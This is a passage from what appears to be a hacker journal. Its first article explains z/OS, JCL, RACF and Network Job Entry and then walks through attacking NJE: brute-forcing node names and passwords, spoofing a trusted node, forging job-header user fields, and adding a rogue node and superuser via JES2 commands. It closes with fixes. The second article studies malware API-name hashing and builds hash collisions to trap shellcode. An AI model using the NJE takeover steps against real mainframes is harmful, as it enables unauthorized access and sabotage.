hierarchy carries over with some minimal changes—but you’d be
wrong. z/OS doesn’t really have the concept of a folder hierarchy.

The files dade.file1.g2 and dade.file2.g2 are simply named this way for
convenience. The locations, on disk, of various datasets, etc. are
controlled by the system catalogue—which is another topic to save
away for a future article. Regardless, those dots do serve a purpose and
have specific names. The text before the first dot is called a High Level
Qualifier, or HLQ. This convention allows security products the
ability to provide access to clusters of datasets based on the HLQ. The
other ‘levels’ also have names, but we can just call them qualifiers and
move on. For example, in the listds example above we wanted to see the
members of the file DADE.EXAMPLE where the HLQ is DADE.



Figure 12.6: Simple JCL File

Jobs and Languages

Now that you understand a little about the file system and the
command interfaces, it is time to introduce JES2 and JCL. JES2, or Job
Entry Subsystem v2, is used to control batch operations. What are
batch operations? Simply put, these are automated commands/actions
that are taken programmatically. Let’s say you’re McDonalds and need
to process invoices for all the stores and print the results. The invoice
data is stored in a dataset, you do some work on that data, and print out
the results. You’d use multiple different programs to do that, so you
write up a script that does this work for you. In z/OS we’d refer to the
work being performed as a job, and the script would be referred to as
JCL, or Job Control Language.

There are many options and intricacies of JCL and of using JCL,
and I won’t be going over those. Instead, I’m going to show you a few
examples and explain the components.

Figure 12.6 shows a very simple JCL file. In JCL each line starts
with a //. This is required for every line that’s not parameters or data
being passed to a program. The first line is known as the job card.
Every JCL file starts with it. In our example, the NAME of the job is
USSINFO, then comes the TYPE (JOB) followed by the job name
(JOBNAME) and programs exec cat and netstat. The remaining items can
be understood by reading documentation and tutorials.35



Next we have the STEP. We give each job step a name. In our
example, we gave the first step the name UNIXCMD. This step executes the
program BPXBATCH.

What the hell is BPXBATCH? Essentially, all UNIX programs,
commands, etc., start with BPX. In our JCL, BPXBATCH means “UNIX
BATCH,” which is exactly what this program is doing. It’s executing
commands in UNIX through JES as a batch process. So, using JCL we
EXECute the ProGraM BPXBATCH: EXEC PGM=BPXBATCH

Skipping STDIN and STDOUT, which just mean to use the defaults, we get
to STDPARM. These are the options we wish to pass to BPXBATCH
(PARM stands for parameters). It takes UNIX commands as its options
and executes them in UNIX. In our example, it’s catting the file
example/manifest and displaying the current IP configuration with netstat
home. If you ran this JCL, it would cat the file /dade/example/manifest, execute
netstat home, and print any output to STDOUT, which really means it will
print it to the log of your job activities.

If, instead of using UNIX commands, you wanted to execute TSO
commands, you could use IKJEFT01, as in Figure 12.7.

Figure 12.7: IKJEFT01 for Executing TSO Commands



MACHINE ROOM
THIS IS A LARGE ROOM FULL OF ASSORTED HEAVY MACHINERY,
WHIRRING NOISILY. THE ROOM SMELLS OF BURNED RESISTORS.
ALONG ONE WALL ARE THREE BUTTONS WHICH ARE,
RESPECTIVELY, ROUND, TRIANGULAR, AND SQUARE. NATURALLY,
ABOVE THESE BUTTONS ARE INSTRUCTIONS WRITTEN IN
EBCDIC...

Security

You need to understand that OS/360 didn’t really come with security,
and it wasn’t until SHARE in 1974 that the decision to create security
products for the mainframe was made. IBM didn’t release the first
security product for the mainframe until 1976. Later, competing
products would be released, specifically ACF2 in 1978 and Top Secret
sometime after that. IBM’s security product was RACF, or Resource
Access Control Facility, and is what is commonly referred to as a SAF,
or Security Access Facility. (ACF2/Top Secret are also SAFs.)

Within RACF you have classes and permissions. You can create
users, assign groups. You get what you’d expect from modern identity
managers, but it’s very arcane and the command syntax makes no sense.
For example, to add a user the command is ADDUSER:



Adding a group is similar. Luckily, as with all things, z/OS IBM has
really good documentation on how to use RACF.

The key thing to know is that RACF is one huge database stored as
data within a dataset. (You can see the location by typing RVARY.)

Networking

Mainframes run a full TCP/IP stack. This shouldn’t really come as a
shock, as you saw NETSTAT above! TCP/IP has been available since the 80s
on z/OS and has slowly replaced SNA (System Network Architecture, a
crazy story beyond the scope of this article).

TCP/IP is configured in a parmlib. I’m being vague here, not to
protect the innocent, but because z/OS is so configurable that you can
put these configuration files anywhere. Likely, however, you’ll find it in
SYS1.TCPPARMS (a PDS).

So, we’ve got TCP/IP configured and ready to go, and we
understand that a lot of a mainframe’s power comes from batch
processing. So far so good.

Network Job Entry

Understand that mainframes are expensive. Very expensive. When you
buy one, you’re not in it for the short term. But, say you’re an
enterprise in the 80s and have a huge printing facility designed to print
checks in New Mexico. You buy a mainframe to handle all the batch
processing of those printers and keep track of what was printed where
and when. Unfortunately, the data needed for those checks is kept in a
system in Ohio, and only the system in Idaho knows when it’s ready to
kick off new print jobs automatically. Enter Network Job Entry.

Using Network Job Entry (or NJE), you can submit a job in one
environment, say the Idaho mainframe POTATO, and have it execute the
JCL on a different system, for example the New Mexico mainframe
CACTUS.



An interesting property of NJE, depending on the setup, is that in
the default configuration JES2 will take the userid of the submitter and
pass that along to the target system. If that user exists on the target
system and has the appropriate permissions, it will execute the job as
that user. No password, or tokens. How it does this is explained below
in section 4.1.

Here’s the same UNIX JCL we saw above, but this time, instead of
executing on our local system (CACTUS), it will execute on POTATO:



The new line “/*XEQ POTATO” tells JES2 we’d like to execute this on
POTATO, instead of our local system.

Within NJE these systems are referred to as nodes in a trusted
network of mainframes.

The Setup

NJE can use SNA, but most companies use TCP/IP for their NJE setup
today. Configuring NJE requires a few things before you get started.
First, you’ll need the IP addresses for the systems in your NJE network,
then you need to assign names to each system (these can be different
than hostnames), then you turn it all on and watch the magic happen.
You’ll need to know all the nodes before you set this up; you can’t just
connect to a running NJE server without it being defined.

Let’s use our example from before:

System Name IP

System 1POTATO10.10.10.1

System 2CACTUS10.10.10.2

Somewhere on the mainframe there will be the JES2 startup
procedures, likely in SYS1.PARMLIB(JES2PARM), but not always. In that file
there will be a few lines to declare NJE settings. The section begins
with NJEDEF, where the number of nodes and lines are declared, as
well as the number of your own node. Then, the nodes are named, with



the NODE setting and the socket setup with NETSRV, LINE, and SOCKET as shown
in Figure 12.8.

Figure 12.8: Nodes in our network

With this file you can turn on NJE with the JES2 console command
$S NETSERV1. This will enable NJE and open the default port, 175, waiting
for connections. To initiate the connection, you could connect from
POTATO to CACTUS with this JES2 command: $SN,LINE1,N=CACTUS, or,
to go the other way, $SN,LINE1,N=POTATO.

You can also password protect NJE by adding the PASSWORD
variable on the NODE lines.

The commands, in this case, don’t change when you connect, but a
password is sent. These passwords don’t need to be the same, as you can
see in the example. But once you start getting five or more nodes in a
network, all with different passwords, managing these configs can
become a pain, so most places just use a single, shared password, if they
use passwords at all.

NJE communication can also use SSL, with a default port of 2252.
If you’re not using SSL, all data sent across the network is sent in
cleartext.



With this setup we can send commands to the other nodes by using
the $N JES2 command. To display the current nodes connected to
POTATO from CACTUS, you’d enter $N 1,’$D NODE’. These commands,
sent with $N, are referred to as Nodal Message Records or NMR.

Nodes!

The current setup will only allow NMRs to be sent from one node to
another. We need to set up trust between these systems. Thankfully,
with RACF this is a fairly easy and painless setup. This setup can be
done with the following commands on POTATO. Note, this is ultra
insecure! Do not use this type of setup if you are reading this. This is
just an example of what the author has seen in the wild:

What this does is tell RACF that, for any job coming in from
CACTUS, POTATO can assume that the RACF databases are the
same. NJE doesn’t actually require users to sign in or send passwords
between nodes. Instead, as described in more detail below, it attaches
the submitting the user’s userid from the local node and passes that
information to the node expected to perform the work. With the above
setup the local node assumes that the RACF databases are the same (or
similar enough), and that users from one system are the same on
another. This isn’t always the case and can easily be manipulated to our



advantage. Thus, in our current setup to submit work from one system
to another, the user jsmith would have to exist on both.

Figure 12.9: 33-byte NJE handshake packet

Inside NJE

With the high level discussion out of the way, it’s time to dissect the
innards of NJE, so we can make it do what we want. Fortunately, IBM
has documented how NJE works in the document has2a620.pdf or more
commonly known as “Network Job Entry Formats and Protocols.”
Throughout the rest of this article, you’ll see page references to the
sections within this document that describe the process or record
format being discussed.

The Handshake

I’m not going to go into the TCP/IP handshake, as you should be
already familiar with it. After you’ve established a TCP connection
nothing happens, literally. If you find an open port on an NJE server
and connect to it with anything, the server will not send a banner or let
you know what’s up. It just sits there and waits. It waits for a very
specific initialization packet that is 33 bytes long.36 Figure 12.9 shows a
breakdown of this packet.



Figure 12.10: Packets from and to Cactus.

Taking a look at a connection to POTATO from CACTUS, we see
that CACTUS sends and receives the packet in Figure 12.10.

This is the expected response when sending valid OHOST and
RHOST fields. If you send an OPEN, and either of those are incorrect,
you get a NAK response TYPE, followed by 24 zeroes and a reason code.
Notice that you don’t need a valid OIP/RIP; it can be anything.

Here’s the reply when we send an RHOST and an OHOST of
FAKE: D5 C1 D2 40 40 40 40 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 01

SOH WHAT?

Once an ACK NJE packet is received, the server is expecting a
SOH/ENQ packet.37 From this point on, every NJE packet sent is
surrounded by a TTB and a TTR.38 I’m sure these had acronyms at
some point, but this is no longer documented. We just need to know
that a TTB is eight bytes long with the third and fourth bytes being the
length of the packet plus itself. Think of the B as BLOCK. Following
the TTB is a TTR. An NJE packet can have multiple TTRs but only
one TTB. A TTR is four bytes long and represents the length of the
RECORD. SOH in EBCDIC is 0x01, ENQ is 0x2D.

The NJE server replies with:



or DLE (0x10) ACK0 (0x70). These are the expected control responses
to our SOH/ENQ.

NCCR, not a Cruise Line!

The next part of initialization is sending an ‘I’ record. NJE has a bunch
of different types of records, I, J, K, L, M, N, and B. These are known as
Networking Connection Control Records (NCCR) and control NJE
node connectivity.39 The important ones to know are I (Initial Signon),
J (Signon Reply), and B (Close Connection).

An initial sign-on record is made up of many components. The
important things to know here are that the RCB is 0xF0, the SRCB is the
letter ‘I’ in EBCDIC (0xC9), and that there are fields within an NCCR I
record called NCCILPAS and NCCINPAS that are used for password-protected
nodes. NCCILPAS × 2 is used when the nodes passwords are the same,
whereas you’d use NCCINPAS if the local password is different from the
target password. For example, if we set the PASSWORD in NJEDEF to
NJEROCKS, we’d put NJEROCKS in both the NCCILPAS and NCCINPAS fields.

We send an I record, then receive a J record, and now the two
mainframes are connected to one another. Since we added trusted
nodes with RACF, we can now submit jobs between the two mainframes
as users from one system to another. If a user exists on both
mainframes, jobs submitted from one mainframe to run on another
will be executed as that user on the target system. The assumption is
that both mainframes are secure and trusted (otherwise why would you
set them up?)

Bigger Packets

As we get deeper into the NJE connection, more layers get added on.
Once we’ve reached this phase, additional items are are now included in



every NJE packet: TTB → TTR → DLE → STX → BCB → FCS →
RCB → SRCB → DATA

We already talked about TTB and TTR. DLE (0x10) and STX (0x02)
are transmission control. The BCB, or Block Control Byte, is always
0x80 plus a modulo 16 number. It is used for tracking the current
sequence number and is incremented each time data is sent.40 FCS is
the Function Control Sequence. The FCS is two bytes long and
identifies the stream to be used.41 RCB is a Record Control Byte,
which can be one of the following:42

SRCB is a Source Record Control Byte. For each RCB a SRCB is
required. (IBM calls it a Source Record Control Byte, but I like to
think of it as “Second.”)43

And finally here is the data. The maximum length of a record (or
TTR) is 255 bytes. Each record must have an RCB and a SRCB, which
effectively means that each chunk of data cannot be longer than 253
bytes. That’s not a lot of room! Fortunately, NJE implements
compression using SCB, or String Control Bytes.44 SCB compresses



duplicate characters and repeated spaces using a control byte that uses
a byte’s two high order bits to denote that either the following
character should be repeated x times (101x xxxx), a blank should be
inserted x times (100x xxx), or the following x characters should be
skipped to find the next control byte (11xx xxxx). 0x00 denotes the end of
compressed data, whereas 0x40 denotes that the stream should be
terminated. Not everything needs to be compressed; for example,
NCCR records don’t need to be.

Figure 12.11 shows a breakdown of a packet, 00 00 00 3b 00 00 00 00 00
00 00 2b 10 02 82 8f cf 9a 00 cd 90 77 00 09 d5 c5 e6 e8 d6 d9 d2 40 01 a8 00 c6 d7 d6

e3 c1 e3 d6 82 ca 01 5b c4 40 d5 d1 c5 c4 c5 c6 00 00 00 00 00.
Since this is an NMR (RCB = 0x9A), we can break down the data after

decompression using the format described by IBM.45 The
decompressed payload is shown in Figure 12.12.

Therefore, this rather long packet was used to send the command $D
NJEDEF from the node POTATO to the node NEWYORK.

Abusing NJE

As discussed earlier, userids are expected to be the same across nodes.
But knowing how enterprises operate requires conducting a little test.

Pretend that you work for a large enterprise with multiple
mainframe environments all connected through NJE. In this example,
two nodes exist: (1) DEV and (2) PROD.



Figure 12.11: Example NJE packet

A user named John Smith, who manages payroll, frequently works
in the production environment (PROD) and has an account on that
system with the userid “JSMITH.”

A developer named Jennifer Smith is hired to help with transaction
processing. Jennifer will only ever do work on the development
environment, so an “Identity Manager” assigns her the user id “JSMITH”
on the DEV mainframe.

What is the problem in this example? How could Jennifer exploit
her access on DEV to get a bigger paycheck?

Well, the problem is that whoever set up the accounts didn’t bother
to check all the environments before creating the new user account on
DEV. Since DEV and PROD are trusted nodes in an NJE network,
Jennifer could submit jobs to the production environment (using /*XEQ
PROD), and the JCL would execute under Johns permissions—not a very
secure setup. Worse still, the logs on PROD will show that John was
the one messing with payroll to give Jennifer a raise.

Garbage SYSIN



When JCL is sent between nodes, it is called SYSIN data. To control
who the data is from, the type of data, etc., a few more pieces of data
are added to the NJE record. When JES2 processes JCL, it creates the
SYSIN records. As it processes the JCL, it identifies the /*XEQ command
and creates the Job Header, Job Data, and Job Footer.46

Job Data is the JCL being sent, Job Footer is some trailing
information, and Job Header is where the important components (for
us) live.

Within the Job Header itself there are four sub-sections: General,
Scheduling, Job Accounting, and Security.

The first three are boring and are just system stuff. (They’re
actually very exciting, but for this writeup they aren’t important.) The
good bits are in the Security Section Job Header. The security section
header is made up of 18 settings,47 shown in Figure 12.13.

The two most important of these are the NJHTOUSR and NJHTOGRP
variables. These define the User ID and Group ID of the job coming
into the system. If someone were able to manipulate these fields within
the Job Header before it was sent to an NJE server, they could execute
anything as any user on the system (so long as they had the ability to
submit jobs, something almost every user does). At this point you’re
basically two fields away from owning a system.

Command and Control

In an earlier section, we discussed NMR, Nodal Message Records.
These have an RCB of 0x9A. By far the most interesting property of
NMRs is their ability to send commands from one node to another.
This exists to allow easier, centralized management of a bunch of
mainframe (NJE) nodes on a network. You send commands, and the
reply gets routed back to you for display.

For example, we can send the JES2 command $D JQ that will tell us
all the jobs that are currently running. To display all the jobs running
on CACTUS from POTATO, we simply add $N 2 in front of the
command we wish to execute: $N 2,’$D JQ’



To make changes at a target system we can issue commands with $T.
The command $D JOBDEF,JOBNUM tells us the maximum number of jobs that
are allowed to run at one time. We can increase (or decrease) this
number with $T JOBDEF,JOBNUM=#.

Figure 12.12: Decompressed payload from Figure 12.11.



Figure 12.13: Security Section Job Header



We can do the exact same thing with NJE, but instead pass it a node
number $N 2,’$T JOBDEF,JOBNUM=3001’. This is the power of NMR commands.
Notice that there are no userids or passwords here, only commands
going from one system to another.

A reference for every single JES2 command exists. Some interesting
JES2 commands are the ones we already talked about
(lowering/increasing number of concurrent jobs), but you can also
profile a mainframe using the various $D (for display) commands. JOBDEF,
INITINFO, NETWORK, NJEDEF, JQ, NODE etc. NJEDEF is especially important!

Breaking In

It’s now time to make NJE do what we want so we can own a
mainframe. But there’s some information you’ll need to know:
- IP/Port running NJE
- RHOST and OHOST names
- Password for I record (not always)
- A way to connect

Finding a Target System

Of all the steps, this is likely the easiest step to perform. The most
recent version of Nmap (7.10) received an update to probe for NJE
listening ports.



Using Nmap it’s now easy to find NJE.

RHOST, OHOST, and I Records

This is the trickiest part of breaking NJE. Recalling our earlier
discussion of connecting, you need a valid RHOST (any systems node
name) and OHOST (the target systems node name). If the RHOST or
OHOST are wrong, the system replies with an NJE NAK reply and a
reason code R. Oftentimes the node name of a mainframe is the same as
the host name; so you should try those first. Otherwise, it will likely be
documented somewhere on a corporate intranet or in some example
JCL code with /*XEQ—or you could just ask someone, and they’ll
probably tell you.



If you have access to the target mainframe already, you could try a
few things, like reading SYS1.PARMLIB(JES2PARM) and searching for
NJEDEF/NODE. You could also issue the JES2 command $D NJEDEF or
$D NODE, which will list all the nodes and their names.

If none of those options work for you, it’s time to use brute force.
When you connect to an NJE port and send an invalid OHOST or
RHOST, you get a type of NAK with a reason code of R=1. However, when
you connect to NJE and place the RHOST value in the OHOST field,
it replies with a NAK but with a reason code of 4! Now this is something
we can use to our advantage.

Using Nmap again, we can now use a newly-released NSE script
nje-node-brute.nse to brute-force a system’s OWNNODE node name.48

NJE node communication is made up of an OHOST and an
RHOST. Both fields must be present when conducting the
handshake. This script attempts to determine the target systems
NJE node name.

By default, the script will try to brute-force a system’s OHOST
value. First trying the mainframe’s hostname and then using Nmap’s
included list of default hosts. Since NJE nodes will generally only have
one node name, it’s best to use the script argument brute.firstonly=true.



With the OHOST determined (POTATO), we can brute-force
valid RHOSTs on the target system. Using the same nje-node-brute Nmap
script, we use the argument ohost=POTATO. Before running the script, it’s
best to do some recon and discover names of other systems,
decommissioned systems, etc. These can be placed in the file rhosts.txt
and passed to the script using the argument hostlist=rhosts.txt.

Note: If CACTUS was connected at the time this script was run, it
wouldn’t show up in the list of valid systems. This is due to the fact that
a node may only connect once. So if you’re doing this kind of testing,
you might want to wait for maintenance windows to try and brute-
force. With valid RHOSTs (SANDBOX, CACTUS, and LPAR5) and
the OHOST (POTATO) in hand we can now pretend to be a node.



In most places, this will be enough to allow you to fake being a
node. In some places, however, they’ll have set the PASSWORD parameter in
the NJEDEF config. This means that we’ve got one more piece to
brute-force.

Thankfully, there’s yet another new Nmap script for brute-forcing I
records, nje-pass-brute.

After successfully negotiating an OPEN connection request, NJE
requires sending, what IBM calls, an “I record.” This initialization
record may sometimes require a password. This script, provided
with a valid OHOST/RHOST for the NJE connection, brute forces
the password.

Using this script is fairly straightforward. You pass it an RHOST
and OHOST, and it will attempt to brute-force the I record password
field:



Behind the scenes, this script is connecting and trying “I Records”
setting the NCCILPAS and NCCINPAS variables to the passwords in your word
list.

I’m a Pretender

Using the information we’ve gathered, we could set up our own
mainframe, add an NJEDEF section to the JES2 configuration file, and
connect to POTATO as a trusted node. But who’s got millions to spend
on a mainframe? The good news is you don’t have to worry about any
of that. Since getting your hands on a real mainframe is all but
impossible, your author wrote a Python library that implements the
NJE specification, allowing you to connect to a mainframe and pretend
to be a node.49

Using the NJE library, we can do a couple of interesting things,
such as sending commands and messages, or sending JCL as any user
account.

First, we’re going to create our own node, just in case the node
we’re pretending to be comes back online (preventing us from using it).
Using iNJEctor.py we can send commands we’d like to have processed by
the target node. Before doing that, we need to see how many nodes are
currently declared with $D NJEDEF,NODENUM:



We’ll increase that by one with the command $T NJEDEF, NODENUM=5,
then add our own node called h4ckr using the commands $T
NODE(5),name=H4CKR and $add socket(h4ckr). See Figure 12.14.

The node h4ckr has now been created. Finally, we’ll want to give it
full permission to do anything it wants with the command $T node(h4ckr),
auth=(Device=Y,Job=Y,Net=Y,System=Y). See Figure 12.15

Good, we have our own node now. This will only allow us to send
commands and messages. If we wanted, we could mess with system
administrators now.



Figure 12.14: Example use of inJEctor.py

Figure 12.15: iNJEctor.py giving full permissions.

And when Margo logs on, or tries to do anything she would receive
this message:

That is fun and all, but we could also do real damage, such as
shutting off systems or lowering resources to the point where a system



becomes unresponsive. But where’s the fun in that? Instead, let’s make
our node trusted.

We’ll need to find a user with the appropriate permissions first.
From previous research, I know Margo runs operations and has a userid
of margo. Using jcl.py we can send JCL to a target node. This script uses
the NJELib library and manipulates the NJHTOUSR and NJHTOGRP settings in
the Job Header Security Section to be any user we’d like. We already
know CACTUS is a trusted node on POTATO, so let’s use that trust to
submit a job as Margo.

To check if she has the permissions we need, we use IKJEFT01,
which executes TSO commands, and the RACF TSO command lu,
which lists a user’s permissions. Figure 12.16.

The important line here is ATTRIBUTES=SPECIAL, meaning that she can
execute any RACF command. This, in turn, means she has the ability
to add trusted nodes for us. Now that we confirmed she has
administrative access, we submit some JCL that executes the
commands we need to add a new trusted node. While we’re at it, might
as well add a new superuser named DADE, as shown in Figure 12.17.



Figure 12.16: JCL Permissions Check

Now we added the node H4CKR as a trusted node. Therefore, any
userid that exists on POTATO is now available to us for our own
nefarious purposes. In addition, we added a superuser called DADE
with access to both TSO and UNIX. From here we could shutdown
POTATO, execute any commands we’d like, create new users, reset
user passwords, download the RACF database, create APF authorized
programs. The ownage is endless.

Conclusion

NJE is relatively unknown despite being so widely used and important
to most mainframe implementations. Hopefully, this article showed
you how powerful NJE is, and how dangerous it can be. Everything in
this article could be prevented with a few simple tweaks. Not using the
PASSWORD parameter and instead using SSL certificates for system
authentication would make these attacks useless. On top of that, instead



of declaring the nodes to RACF, you could give very specific access
rights to users from various nodes. This would prevent a malicious user
from submitting as any user they please.

If you’re really interested in this protocol, NJELib also supports a
debug mode, which gives information about everything happening
behind the scenes. It’s very verbose. Another feature of NJELib is the
ability to deconstruct captured packets.

You should now have a grasp of the mainframe and NJE. If your
interest has been piqued about the endless potential of mainframe
hacking, there are some great writeups about buffer overflows and
crypto on z/OS at bigendiansmalls.com and mainframed767.-tumblr.com.

Figure 12.17: Adding a Superuser













12:7 Exploiting Weak Shellcode Hashes to Thwart
Module Discovery; or, Go Home, Malware, You’re
Drunk!

by Mike Myers and Evan Sultanik

There is a famous Soviet film called Ирония судьбы, или C

лёгким паром! (The Irony of Fate, or Enjoy Your Bath!) that pokes fun at
the uniformity of Brezhnev-era public architecture and housing. The
protagonist of the movie gets drunk and winds up on a plane bound for
Leningrad. When he arrives, he mistakenly believes he landed in his
home town of Moscow. He stumbles into a taxi and gives the address of
his apartment. Sure enough, the same address exists in Leningrad, and
the building looks identical to his apartment in Moscow. His key even
unlocks the apartment with the same number, and the furniture inside
is nearly identical to his, so he decides to go to sleep. Everyone’s
favorite heart-warming romantic comedy ensues, but that’s another
story.

Neighbors, the goal of this article is to convince you that Microsoft
is Brezhnev, Windows is the Soviet Union, kernel32.dll is the apartment,
and malware is the drunk protagonist. Furthermore, dear neighbor, we
will provide you with the knowledge of how to coax malware into
tippling from our proverbial single malt waterfall so that it mistakenly
visits a different apartment in a faraway city.

Background: PIC and Malware

Let’s begin with a look at how position-independent code (PIC) used
by malware is different from benign code, and then examine the logic
of the Metasploit payload known as “windows/exec,” which is a
representative example of both exploit shellcode and malware-injected
position-independent code. If you’re already familiar with how



malware-injected position-independent code works, it’s safe for you to
skip to the section on Shellcode Havoc, page 547.

Most executable code on Windows is dynamically linked, meaning
it is compiled into separate modules and then is linked together at
runtime by the operating system’s executable loader as a system of
imports and exports. This dynamic linkage is either implicit (the
typical kind; dynamic library dependence is declared in the header and
the loader performs the address lookups at load time) or explicit (less
common; the dynamic library is optionally loaded when needed and
address lookups are performed with the GetProcAddress system API).

Much of maliciously delivered code—such as nearly all remote
exploits and most instances of code that is injected by one process into
another—shares a common trait of being loaded illegitimately: it
circumvents the legitimate sequence of being loaded and initialized by
the OS executable loader. It is therefore common for malicious code to
not run as benign code does in its own process. Because attackers want
to run their code within the access and privilege of a target process,
malicious code is injected into it either by a local malicious process or
by an arbitrary code execution exploit. These two approaches (code
injection and exploit shellcode) can be treated similarly in that both of
them involve position-independent injected code.

Unlike benign code that is loaded by the operating system as a
legitimate executable module from a file on disk, illicit position-
independent code must search and locate essential addresses in memory
on its own without the assistance of the loader. Because of Address
Space Layout Randomization (ASLR), the injected code cannot simply
use pre-determined hardcoded addresses of these locations; neither can
it rely on the GetProcAddress routine, because it doesn’t know that address
either.

Typically, the first goal of injected code is to find kernel-32.dll,
because it contains the APIs necessary to bootstrap the remainder of
the malware’s computation. Before Windows 7, everyone was using
shellcode that assumed kernel32.dll was the first module in the linked list
pointed to by the Process Environment Block (PEB), because it was the



first DLL module loaded by the process. Windows 7 came along and
started loading another module first, and that broke everyone’s
shellcode.

A common solution these days is just as fragile. Some have
proposed shellcode that assumes kernel32.dll is the first DLL with a 12-
character name in the list (the shellcode just looks for a module name
length match). If we were to load in a DLL named PoCrGTFO.dll before
kernel32.dll, that shellcode would fail. Other Windows 7 shellcode
assumes that kernel32.dll is the second (now third) DLL in the linked
list; we would be invalidating that assumption, too.

The Metasploit Framework is perhaps the most popular exploit
development and delivery framework. One can create a custom exploit
reusing standard components that Metasploit provides, greatly
accelerating development time. One important component is the
payload. A “payload” in Metasploit parlance is the generic (reusable by
many exploits) portion of position-independent exploit code that
attackers execute after they have successfully begun executing arbitrary
instructions, but before they have managed to do anything of value. A
payload’s function can be to either establish a barebones command &
control capability (e.g., a remote shell), to download and execute a
second stage payload (most common in real-world malware), or to
simply execute another program on the victim. The latter is the purest
example of a payload, and this is what we will show here. The logic of
the “windows/exec” payload is presented in Algorithm 1. As you can
see, it employs a relatively sophisticated method for discovering
kernel32.dll, by walking the PEB data structure and matching the
module by a hash of its name.

On the following pages, we have included an annotated listing of
the disassembly for this payload. We encourage the reader to follow
our comments in order to get an understanding for how injected code
gets its bearings. Although this code directly locates the function it
wants, if it were going to find more than one, it would probably just use
this method to find GetProcAddress instead and use that from there on out.



For clarity, the disassembly is shown with relative addresses (offsets)
only. The address operands in relative jump instructions have been
similarly formatted.















Shellcode Havoc: Generating Hash Collisions

In the previous section, we described how PIC that is injected at
runtime is inherently “drunk”: since it circumvents the normal loader,
it needs to bootstrap itself by finding the locations of its required API
calls. If the code is malicious, this imposes additional constraints, such



as size restrictions (on the shell-code) and the inability to hardcode
function names (to avoid fingerprinting). Some malware is very naïve
and simply matches function names based on length or their position in
the EAT; such approaches are easily thwarted, as described above.
Others have proposed completely relocating the Address of Functions
table and catching page faults when any code tries to access it (cf.
Phrack Volume 0x0b, Issue 0x3f, Phile #0x0f).

Most modern (Windows 7 and newer) malware payloads temper
their drunkenness by hashing the module and function names of the
APIs they need to find. Unfortunately, the aforementioned constraints
on shellcode mean that a cryptographically secure hashing algorithm
would be too cumbersome to employ. Therefore, the hashing
algorithms they use are vulnerable to collisions.

If we can generate a new module and/or function name that hashes
to the same value that the malware is looking for, and if we ensure that
the decoy module/function occurs before the real one in the EAT
linked list, then any time that function is called we will know it is from
malicious code.

Shellcoder’s Handbook Hash

First, let’s take a look at the hashing algorithm espoused by Didier
Stevens in The Shellcoder’s Handbook. In C, it’s a nifty little one-liner:

for(hash=0; *str; hash = (hash + (*str++ | 0x60)) << 1);

Using this algorithm, the string “LoadLibraryA” hashes to 0x0D-5786.
The first thing to notice is that the least significant bit of every hash

will always be a zero, so let’s just shift the hash right by one bit to get
rid of the zero. Next, notice that if the value of the hash is less than 256,
then any single character that bit-wise matches the hash except for its
sixth and seventh most significant bits (0x60 = 0b01100000) will be a
collision. Therefore, we can try all four possibilities: hash, hash XOR
0x20, hash XOR 0x40, and hash XOR 0x60. In the case when the value of



hash is greater than 256, we can inductively apply this technique to
generate the other characters.

The collision is constructed by building a string from right to left.
A Python script that enumerates all possible collisions is as follows.

Running collide(“LoadLibraryA”) yields over 100,000 collisions in the
first five seconds alone, and can likely produce orders of magnitude
more. The following are the first ten, but of course, just one collision is
sufficient.

4baaaabaabaa  3daaaabaabaa
2faaaabaabaa  1haaaabaabaa
0jaaaabaabaa  4acaaabaabaa
3ccaaabaabaa  2ecaaabaabaa
1gcaaabaabaa  0icaaabaabaa

Metasploit Payload Hash

Next, let’s examine the Metasploit payload’s hashing function described
in the previous section. This function is a bit more complex, because it
involves bit-wise rotations, making a brute-force approach (like we
used for The Shellcoder’s Handbook algorithm) infeasible. The
Metasploit hash works like this: at each byte of a NULL-terminated
string (including the terminating NULL byte), it circularly shifts the



hash right by 0xD (13) places and then adds the new byte. This hash was
likely chosen because it is very succinct: the inner part of the loop
requires only two instructions (ror and add).

The key observation here is that, since the hash is additive, any
prefix of a string that hashes to zero will not affect the overall hash of
the entire string. That means that if we can find a string that hashes to
zero, we can prepend it to any other string and the result will have the
same hash:

HASH(A) = 0 ⇒ HASH(B) = HASH(A + B).

This hash is relatively easy to encode as a Satisfiability Modulo
Theories (SMT) problem, for which we can then enlist a solver like
Microsoft’s Z3 to enumerate all strings of a given length that hash to
zero. To find strings of length n that hash to zero, we create n character
variables, c1, . . . , cn, and n + 1 hash variables, h0, h1, . . . , hn, where hi is
the value of the hash for the substring of length i, and h0 is of course
zero. We constrain the character variables such that they are printable
ASCII characters (although this is not technically necessary, since
Windows allows other characters in the EAT), and we also constrain
the hash variables according to the hashing method:

hi = ((hi–1 >> 0x0D)|(hi–1 << (32 – 0x0D))) + ci.

We then ask the SMT solver to enumerate all solutions in which hn

= 0. We created a Python implementation of this using Microsoft’s Z3
solver. It is capable of producing thousands of zero-hash strings within
seconds. Here are ten of them.

LNZLTXWQYV  TPLPPTVXWX
TPTPPTVTWX  TPNPNTVWWY
TPNPLTVWWZ  TPNPPTVWWX
TPNPZTVWWS  TPVPZTVSWS
TPVPXTVSWT  TPVPVTVSWU



So, for example, if we were to create a DLL with an exported
function named “LNZLTXWQYVLoadLibraryA” that precedes the real LoadLibraryA, a
Metasploit payload would mistakenly call our honeypot function.

SpyEye’s Hash

Finally, let’s take a look at an example from the wild: the hash used by
the SpyEye malware, presented in Algorithm 2. “LoadLibraryA” hashes to
0xC8AC8026.

Algorithm 2 The find-API-by-hashing method used by SpyEye.

  1: procedure HASH(name)

  2:    j ← 0

  3:    for i ← 0 to LEN(name) do

  4:       left ← (j << 0x07) & 0xFFFFFFFF

  5:       right ← (j >> 0x19)

  6:       j ← left | right

  7:       j ← j ^ name[i]

  8:    end for

  9:    return j

10: end procedure

As you can see, this is very similar to Metasploit’s method, in that it
rotates the hash by seven bits for every character. However, unlike
Metasploit’s additive method, SpyEye XORs the value of each
character. That makes things a bit more complex, and it means that our
trick of finding a string prefix that hashes to zero will no longer work.
Nonetheless, this hash is not cryptographically secure, and is
vulnerable to collision.

Once again, let’s encode it as a SMT problem with character
variables c1, . . . , cn and hash variables h0, . . . , hn. The hash constraint
this time is:



hi = ((hi–1 << 0x07)|(hi–1 >> 0x19)) ^ ci,

and we ask the SMT solver to enumerate solutions in which hn equals
the same hash value of the string we want to collide with.

Once again, Microsoft’s Z3 solver makes short work of finding
collisions. A Python implementation of this collision is attached to
pocorgtfol2.pdf. Here is a sample of ten strings that all collide with
“LoadLibraryA.”

RHDBJMZHQOIP  ILPSKUXYYKKK
